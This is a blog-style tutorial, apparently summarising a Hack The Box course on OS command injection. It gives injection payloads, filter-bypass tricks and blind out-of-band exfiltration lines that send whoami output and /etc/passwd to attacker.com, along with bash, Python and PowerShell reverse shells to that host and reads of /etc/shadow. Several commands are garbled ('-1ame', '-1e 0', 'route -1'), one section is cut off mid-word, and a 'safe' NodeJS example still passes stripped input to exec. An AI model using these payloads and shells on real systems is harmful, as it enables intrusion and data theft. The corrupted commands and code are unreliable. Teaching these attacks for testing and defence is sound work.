Listen to this Post
Introduction:
Command injection remains one of the most critical web application vulnerabilities, ranking persistently in the OWASP Top 10. When user-supplied input is unsafely passed to a system shell, attackers can execute arbitrary operating system commands, potentially compromising the entire hosting server and its network infrastructure. As bug bounty programs mature and security awareness increases, raw, unprotected command injection points have become rare; penetration testers must now master sophisticated filter bypass techniques, obfuscation strategies, and both white-box and black-box detection methodologies to succeed in real-world engagements.
Learning Objectives:
- Identify and exploit OS command injection vulnerabilities across Linux and Windows environments
- Master advanced filter bypass techniques including encoding, wildcard abuse, and command chaining
- Detect and exploit blind command injection using time-based and out-of-band (OOB) techniques
- Apply secure code review principles to JavaScript and NodeJS applications to identify injection sinks
- Implement effective mitigation strategies including input sanitization, allowlisting, and API security hardening
You Should Know:
1. Understanding Command Injection: The Core Mechanics
Command injection vulnerabilities arise when an application incorporates user-controlled data into a system command without proper validation. Consider a web application that pings an IP address provided by the user:
<?php
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
?>
A benign request like `?ip=8.8.8.8` executes ping -c 4 8.8.8.8. However, an attacker can inject additional commands using shell metacharacters:
?ip=8.8.8.8; whoami ?ip=8.8.8.8| id ?ip=8.8.8.8&& cat /etc/passwd
Step‑by‑step guide to basic detection:
- Identify user-controlled input that interacts with system functions (file uploads, ping tools, traceroute, DNS lookups, email send functions)
- Inject simple payloads to test for command execution:
– Linux: ; whoami, | id, || uname -a, `&& whoami`
– Windows: & whoami, | whoami, `|| whoami`
3. Observe response for command output in the HTTP response
4. Use Burp Suite to intercept and manipulate requests, systematically testing each parameter
2. Filter Bypass Techniques: The Art of Evasion
In production environments, developers implement various filters—blacklisting dangerous characters, sanitizing input, or using regular expressions to block malicious patterns. The HTB Command Injections module emphasizes that real-world bug bounty scenarios rarely present completely unprotected inputs. Mastering bypass techniques is therefore essential.
Common bypass strategies:
a) Command Chaining Without Common Separators:
When semicolons, pipes, and ampersands are blocked, alternative separators work:
– Newline (%0a): `127.0.0.1%0awhoami`
– Backticks for command substitution: `127.0.0.1` + `whoami`
– `$()` syntax: `127.0.0.1$(whoami)`
– Carriage return (%0d): `127.0.0.1%0dwhoami`
b) Case Manipulation:
Some filters block specific strings but are case-sensitive:
WHOAMI,WhOaMi, `wHoAmI`
– PowerShell on Windows is case-insensitive: `& WhOaMi`
c) Encoding Attacks:
- URL encoding: `%3Bwhoami` (URL-encoded semicolon)
- Double URL encoding: `%253Bwhoami`
– Base64 encoding with execution: `echo ‘d2hvYW1p’ | base64 -d | bash`
– Hex encoding: `$(printf “\x77\x68\x6f\x61\x6d\x69”)`
d) Wildcard and Globbing Exploitation:
When spaces are filtered:
– `cate) Command Obfuscation:
- Using `$@` and
$: `who$@ami`
– Concatenation: `w’h’o’am’i`
– Using environment variables: `${PATH:0:1}` for `/` and similar tricks
Step‑by‑step bypass testing workflow:
- Identify the filter mechanism by testing which characters are blocked
2. Attempt alternative separators (newline, backticks, `$()`)
- Test encoding variations (URL, double URL, base64, hex)
4. Try case variations and obfuscation techniques
- Use command substitution to break blocked keywords: `c”at /etc/passwd`
6. Leverage wildcards when spaces are filtered: `cat${IFS}/etc/passwd`
3. Blind Command Injection: Detection Without Direct Output
Blind command injection occurs when the application executes injected commands but does not return the command output to the attacker. These vulnerabilities are particularly challenging and require creative detection methodologies.
Time‑Based Detection:
Inject commands that introduce measurable delays:
127.0.0.1; sleep 5 127.0.0.1| ping -c 10 127.0.0.1 127.0.0.1&& timeout 5 whoami
On Windows:
127.0.0.1& ping -1 10 127.0.0.1 127.0.0.1| timeout /t 5
Out‑of‑Band (OOB) Detection:
Force the vulnerable system to initiate external connections to an attacker-controlled server:
127.0.0.1; nslookup $(whoami).attacker.com 127.0.0.1| curl http://attacker.com/$(whoami) 127.0.0.1; wget http://attacker.com/`whoami`
Burp Collaborator Integration:
Burp Suite provides Collaborator functionality specifically designed for OOB detection:
1. Generate a Collaborator payload: `$(whoami).{collaborator-id}.burpcollaborator.net`
2. Inject the payload into the vulnerable parameter
- Monitor Collaborator interactions for DNS lookups or HTTP requests
- If a lookup is received, the injection was successful
Step‑by‑step blind exploitation:
- Establish an out-of-band channel (Burp Collaborator, ngrok, or a VPS with DNS/HTTP logging)
- Inject a command that triggers a DNS lookup: `nslookup $(whoami).your-server.com`
3. Monitor for DNS queries to confirm command execution - Escalate to data exfiltration: `curl http://your-server.com/$(cat /etc/passwd | base64)`
5. Use time-based detection when OOB channels are unavailable -
White‑Box Code Review: JavaScript and NodeJS Injection Sinks
The Secure Coding 101: JavaScript module focuses on identifying command injection vulnerabilities through code review, a critical skill when black-box testing proves insufficient.
Common JavaScript/NodeJS injection sinks:
// Vulnerable: exec() with user input
const { exec } = require('child_process');
exec(<code>ping -c 4 ${userInput}</code>, (error, stdout) => {
console.log(stdout);
});
// Vulnerable: spawn() with shell: true
const { spawn } = require('child_process');
spawn('sh', ['-c', <code>ping -c 4 ${userInput}</code>]);
// Vulnerable: eval() with user input
eval(<code>console.log(${userInput})</code>);
// Vulnerable: Function constructor
new Function(userInput)();
// Vulnerable: setTimeout/setInterval with string argument
setTimeout(<code>ping -c 4 ${userInput}</code>, 1000);
Secure alternatives:
// Safe: Array arguments with execFile/spawn (no shell)
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', userInput]);
// Safe: Input validation and sanitization
const sanitized = userInput.replace(/[;&|<code>$(){}]/g, '');
exec(</code>ping -c 4 ${sanitized}`);
// Safe: Allowlist validation
const allowedIPs = ['8.8.8.8', '1.1.1.1'];
if (allowedIPs.includes(userInput)) {
exec(<code>ping -c 4 ${userInput}</code>);
}
Step‑by‑step code review methodology:
- Identify all child process calls:
exec,execFile,spawn, `fork`
2. Trace user input flow from request parameters to the execution sink - Check for shell invocation (
shell: true,sh -c,cmd /c)
4. Evaluate sanitization routines for completeness and correctness
5. Test for bypasses in the sanitization logic
- Review error handling that might leak command output
5. Exploitation and Post‑Exploitation: From Injection to Compromise
Once command injection is confirmed, the attacker can escalate to full system compromise.
Linux post‑exploitation commands:
Information gathering
whoami
id
uname -a
cat /etc/os-release
cat /etc/passwd
cat /etc/shadow
env
Network reconnaissance
ifconfig
ip a
netstat -tulpn
ss -tulpn
arp -a
route -1
File system exploration
find / -type f -1ame ".conf" 2>/dev/null
find / -type f -1ame "config." 2>/dev/null
ls -la /home/
ls -la /root/
Establishing persistence
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' > /tmp/shell.sh
chmod +x /tmp/shell.sh
/tmp/shell.sh
Reverse shell via Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Windows post‑exploitation commands:
Information gathering
whoami
systeminfo
ipconfig /all
net user
net localgroup administrators
Get-ChildItem -Path C:\ -Include .config -Recurse -ErrorAction SilentlyContinue
Reverse shell via PowerShell
$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -1e 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
6. Mitigation and Secure Coding Best Practices
Defending against command injection requires a defense-in-depth approach:
Primary Defenses:
- Use safe APIs: Prefer `execFile` or `spawn` with array arguments over `exec` with shell strings
- Input validation with allowlists: Define permitted characters or values and reject everything else
- Output encoding: Encode command output before displaying it to users
- Least privilege: Run applications with minimal system permissions
- Avoid shell invocation: When possible, use language-1ative alternatives to system commands
Secure coding checklist:
- [ ] Never concatenate user input directly into command strings
- [ ] Use parameterized execution where available
- [ ] Validate input against a strict allowlist
- [ ] Escape or sanitize shell metacharacters (
;&|$(){}[]<>?~!) - [ ] Implement proper error handling that doesn’t leak information
- [ ] Use Web Application Firewalls (WAF) with command injection rules
- [ ] Conduct regular security code reviews and penetration testing
What Undercode Say:
- “Real-world bug bounty scenarios rarely present completely unprotected inputs—you must master filter bypass techniques to succeed.” The era of trivial command injection is over; modern applications implement various sanitization layers that require methodical testing and creative obfuscation to overcome.
-
“Blind command injection truly tests your detection methodology when there’s no direct output visible.” Time-based and OOB techniques are not just advanced tactics—they are essential skills for any penetration tester facing modern web applications.
Analysis: The HTB Command Injections module represents a shift from theoretical vulnerability knowledge to practical, battle-tested exploitation skills. The emphasis on filter bypass techniques acknowledges that real-world applications have evolved beyond simple vulnerabilities. The integration of white-box code review (Secure Coding 101: JavaScript) reflects industry recognition that black-box testing alone is insufficient—understanding source code is critical for comprehensive security assessments. This dual approach—combining offensive exploitation with defensive code review—produces security professionals who can both identify and remediate vulnerabilities effectively. The module’s focus on Linux and Windows exploitation ensures broad applicability across diverse enterprise environments. As command injection remains a top OWASP risk, this training directly addresses a persistent and high-impact security challenge.
Prediction:
- -1: The sophistication of command injection attacks will continue to escalate as AI-assisted development tools introduce new injection vectors in generated code, potentially creating a new wave of vulnerabilities that bypass traditional detection methods.
- +1: The growing emphasis on secure coding education and code review skills will produce a new generation of developers who build security into applications from the ground up, reducing the overall prevalence of command injection vulnerabilities.
- -1: As more organizations adopt cloud-1ative architectures, command injection vectors will expand to container escape techniques and serverless function injections, creating new attack surfaces that current security tools may not adequately cover.
- +1: Integration of command injection detection into CI/CD pipelines and automated security scanning tools will enable organizations to catch vulnerabilities before they reach production, shifting security left in the development lifecycle.
- -1: The rise of LLM-powered coding assistants may inadvertently introduce command injection vulnerabilities at scale, as these models sometimes generate insecure code patterns when prompted with certain programming tasks.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Carlos Andres – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
